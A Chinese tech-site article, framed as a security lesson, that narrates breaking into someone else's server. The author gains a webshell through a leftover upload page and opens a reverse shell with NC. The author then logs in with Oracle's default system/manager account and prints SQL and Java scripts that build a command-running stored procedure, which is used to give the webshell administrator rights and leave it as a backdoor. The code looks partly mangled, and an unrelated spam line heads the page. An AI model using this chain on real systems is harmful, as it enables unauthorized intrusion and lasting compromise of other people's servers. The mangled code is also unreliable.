自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

通過oracle默認(rèn)賬戶提升權(quán)限的實現(xiàn)方法

數(shù)據(jù)庫 Oracle
通過oracle默認(rèn)賬戶也能夠提升訪問的權(quán)限?是的,下面就教您這種通過oracle默認(rèn)賬戶提升權(quán)限的實現(xiàn)方法,供您參考學(xué)習(xí)。

在oracle數(shù)據(jù)庫中,通過oracle默認(rèn)賬戶也是可以提升訪問權(quán)限的,下文就為您介紹一個通過oracle默認(rèn)賬戶提升權(quán)限的例子,希望可以讓您對數(shù)據(jù)庫安全性方面有所啟迪:

近日,偶到一主機(jī)上逛了一圈。主機(jī)的配置還算是安全,偏偏一個比較隱藏的目錄下殘留了upfile.asp,結(jié)果輕輕松松的得到了webshell。

接著在主機(jī)上逛了逛,拿出superscan從外面掃了下,只開放了80端口。從user\程序目錄里,發(fā)現(xiàn)有一快捷方式:firecontrol,好象是某款硬件防火墻的控制臺。WEBSHELL下檢測了下開放的服務(wù),發(fā)現(xiàn)一般的可提權(quán)的方法都不可行,無SERV-U等等,主機(jī)的補丁也是打到了最新。試了下傳了個NC上去,反連接得到一SHELL,這下比在老兵的管理器里舒服多了。

在C盤下看到一個目錄oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,確定了主機(jī)的服務(wù)名“xxx”,看了下版本“oracle 8i”,用數(shù)據(jù)庫連接器 Provider=MSDAORA.1.Password=manager.User ID=system.DataSource=xxxx試了下默認(rèn)的system賬戶,密碼manager,結(jié)果真的就連接到了本地的oracle服務(wù)。

這下好了,oracle默認(rèn)賬戶就像是mssql下的sa,我們來通過他來提升權(quán)限,馬上編輯了幾個腳本。

1.

  1. sql create or replace and compilejava source named "Util"asimport java.io.*.  
  2. import java.lang.*.   
  3. public class Util extends Object{public static int RunThis(String args)  
  4. {  
  5. Runtime rt = Runtime.getRuntime().  
  6. int rc = -1.   
  7. try{Process p = rt.exec(args).  
  8. int bufSize = 4096.  
  9. BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize).  
  10. int len.byte buffer[] = new byte[bufSize].  
  11. // Echo back what the program spit out  
  12. while ((len = bis.read(buffer, 0, bufSize)) != -1)  
  13. System.out.write(buffer, 0, len).   
  14. rc = p.waitFor().  
  15. }  
  16. catch (Exception e)  
  17. {  
  18. e.printStackTrace().  
  19. rc = -1.  
  20. }  
  21. finally{return rc.  
  22. }  
  23. }  
  24. }  
  25.  

2.

  1. sql create or replacefunction RUN_CMD(p_cmd in varchar2)  
  2. return numberaslanguage javaname Util.RunThis(java.lang.String)   
  3. return integer. 

3.

  1. sql create or replace procedure RC(p_cmd in varchar2)asx number.  
  2. beginx :run_cmd(p_cmd).  
  3. end. 

保存在c:\下,然后用反連接得到的shell運行 sqlplus system/manager@xxx然后再來執(zhí)行腳本 SQL>@C:\1.sqlSQL>@C:\2.sqlSQL>@C:\3.sql看到JAVA已創(chuàng)建、函數(shù)已創(chuàng)建、過程已創(chuàng)建,接著我們繼續(xù) SQL> variable x number.SQL> set serveroutput onSQL> exec dbms_java.set_output(100000).SQL>grant javasyspriv to system看到授權(quán)成功。

接著我們就可以來執(zhí)行系統(tǒng)命令了。我想先把ASP.dll加入特權(quán)一組 SQL>exec :x := RUN_CMD(cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ).看到過程已經(jīng)成功完成,這個時候我們重新登陸我們的webshell,他已經(jīng)具有admin權(quán)限了。接著,再用NC返回一個shell,已經(jīng)是管理權(quán)限的,我們可以做我們想干的事了。因為這個主機(jī)有防火墻過濾除80以外的端口,所以不好做圖形的后門,只有留下一有權(quán)限的webshell。到此已經(jīng)提權(quán)成功。

 

 

 

【編輯推薦】

oracle數(shù)據(jù)導(dǎo)出和導(dǎo)入的權(quán)限

Oracle用戶和模式的區(qū)別

查看oracle用戶權(quán)限

oracle對象權(quán)限簡介

帶您深入了解oracle權(quán)限管理

 

責(zé)任編輯:段燃 來源: 互聯(lián)網(wǎng)
相關(guān)推薦

2009-08-07 09:35:40

Oracle發(fā)送Ema

2009-07-19 10:06:12

2011-08-02 15:07:43

組策略群集用戶賬戶

2011-07-27 14:22:41

Oracle 10g DBA賬戶

2010-10-29 13:34:09

Oracle日志

2010-10-29 10:33:55

ORACLE默認(rèn)用戶

2010-11-19 13:42:38

2009-10-21 14:27:12

Oracle用戶權(quán)限分

2009-10-21 14:48:39

Oracle用戶權(quán)限表

2010-10-29 14:20:54

Oracle移動控制文

2010-11-19 13:14:21

Oracle刪除歸檔日

2020-11-17 11:35:33

威脅管理

2010-10-14 11:48:20

MySQL賬戶密碼

2010-04-14 09:41:10

Oracle數(shù)據(jù)備份

2010-04-19 09:06:24

Oracle的方法

2009-11-02 15:15:43

Oracle授予用戶權(quán)

2009-11-03 17:08:38

Oracle修改用戶權(quán)

2010-10-29 16:12:51

Oracle存儲過程

2010-11-15 14:07:16

Oracle取固定記錄

2009-10-29 16:32:24

查看Oracle用戶的
點贊
收藏

51CTO技術(shù)棧公眾號